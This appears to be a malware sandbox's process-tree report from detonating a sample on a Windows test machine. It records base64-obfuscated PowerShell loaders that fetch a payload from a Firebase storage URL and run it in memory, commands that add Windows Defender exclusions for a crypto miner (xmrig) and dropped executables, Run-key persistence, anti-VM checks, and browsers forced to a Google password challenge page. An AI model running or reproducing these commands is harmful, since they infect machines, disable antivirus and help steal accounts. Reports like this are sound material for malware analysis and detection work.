XFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd5⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf0,0xf4,0xf8,0xcc,0xfc,0x7ffdc6b4dcf8,0x7ffdc6b4dd04,0x7ffdc6b4dd106⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd5⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c0,0x2c4,0x2c8,0x2bc,0x358,0x7ffdc2def208,0x7ffdc2def214,0x7ffdc2def2206⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2156,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=3020 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2036,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=1984 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1988,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=3028 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3500,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3508,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=4960,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --always-read-main-dll --field-trial-handle=4980,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5100,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5288,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5292,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5332,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=4280,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=4292,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5920,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=5920,i,13641615335442965509,2955892975234868218,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:86⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd5⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd6⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Drops desktop.ini file(s)
- Checks processor information in registry
- Modifies Control Panel
- Modifies registry class
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1960 -prefsLen 27099 -prefMapHandle 1964 -prefMapSize 270279 -ipcHandle 2052 -initialChannelId {865c6d1f-092f-4e3c-9754-c8dc7b174c72} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu7⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2476 -prefsLen 27135 -prefMapHandle 2480 -prefMapSize 270279 -ipcHandle 2488 -initialChannelId {7b786c62-acb2-4030-b604-a78a786bbaad} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket7⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3968 -prefsLen 25213 -prefMapHandle 3972 -prefMapSize 270279 -jsInitHandle 3976 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3984 -initialChannelId {ab5b5479-c696-4964-8633-d8869ba8a057} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab7⤵
- Checks computer location settings
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4180 -prefsLen 27325 -prefMapHandle 4184 -prefMapSize 270279 -ipcHandle 4192 -initialChannelId {ed2c0155-61ea-49ef-8c3a-8d23410a4b0d} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd7⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4148 -prefsLen 34824 -prefMapHandle 4144 -prefMapSize 270279 -jsInitHandle 4140 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4604 -initialChannelId {cb88eba5-69d8-4615-92ef-3bd41a102165} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab7⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4748 -prefsLen 35012 -prefMapHandle 3592 -prefMapSize 270279 -ipcHandle 4764 -initialChannelId {7b1fb54f-9359-4979-b17e-794af4d1985c} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility7⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5200 -prefsLen 32952 -prefMapHandle 5160 -prefMapSize 270279 -jsInitHandle 5164 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5228 -initialChannelId {669c2e47-208f-41c5-8607-eaa44bb20ffe} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab7⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5216 -prefsLen 32952 -prefMapHandle 5088 -prefMapSize 270279 -jsInitHandle 5112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5236 -initialChannelId {e44a07f8-cd2c-4e46-b822-0c501792eafc} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab7⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5540 -prefsLen 32952 -prefMapHandle 5544 -prefMapSize 270279 -jsInitHandle 5548 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5556 -initialChannelId {7a025546-9602-4c6c-b5f2-f4f9b7254fdc} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab7⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5800 -prefsLen 32952 -prefMapHandle 5920 -prefMapSize 270279 -jsInitHandle 5580 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5564 -initialChannelId {24a72843-c617-4938-952c-a291271b6a53} -parentPid 14604 -crashReporter "\\.\pipe\gecko-crash-server-pipe.14604" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab7⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\crashreporter.exe"C:\Program Files\Mozilla Firefox\crashreporter.exe" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ocrnrqc5.default-release\minidumps\ae062436-2860-4629-a621-edd70da49c08.dmp"7⤵
- Modifies Control Panel
- Modifies system certificate store
-
C:\Windows\system32\curl.exe"curl" --user-agent crashreporter/1.0.0 --header "Content-Length: 1023" --header "X-Telemetry-Agent: Glean/63.0.0 (Rust on Windows)" --header "Content-Type: application/json; charset=utf-8" --header "Date: Sat, 06 Dec 2025 00:29:51 GMT" --header "Content-Encoding: gzip" --data-binary @- https://incoming.telemetry.mozilla.org/submit/firefox-crashreporter/crash/1/b09f2443-c519-4c09-8b6c-0f72b73271a28⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2qIIQWe.exe2qIIQWe.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Streamm.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\runtime-servece.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\start_miner.vbs'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'Streamm.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'runtime-servece.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'wscript.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionProcess 'xmrig.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionExtension '.bat'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe sfsd9898f98d9g898s9c9z9sd9f8s9f8w989393929f9s9df89sd9f89sd8f9.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WN0HSu2.exeWN0HSu2.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Checks processor information in registry
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs4⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gimger.exegimger.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\GMSSetupX86.exeGMSSetupX86.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exeMulti-tiered_8865.99.73_INSTALL.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-M43ZMJ1IFX.tmp\Multi-tiered_8865.99.73_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-M43ZMJ1IFX.tmp\Multi-tiered_8865.99.73_INSTALL.tmp" /SL5="$103DA,3482063,893440,C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be06⤵
- System Location Discovery: System Language Discovery
-
-
-
-
